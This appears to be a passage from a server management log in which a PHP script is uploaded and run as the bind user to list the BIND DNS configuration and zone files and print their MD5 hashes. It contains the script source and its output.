MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:28:36: Establishing a connection
2026-04-22 12:28:36: 

PUT: /tmp/pkp709604

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:28:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp709604; rm /tmp/pkp709604'

2026-04-22 12:28:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
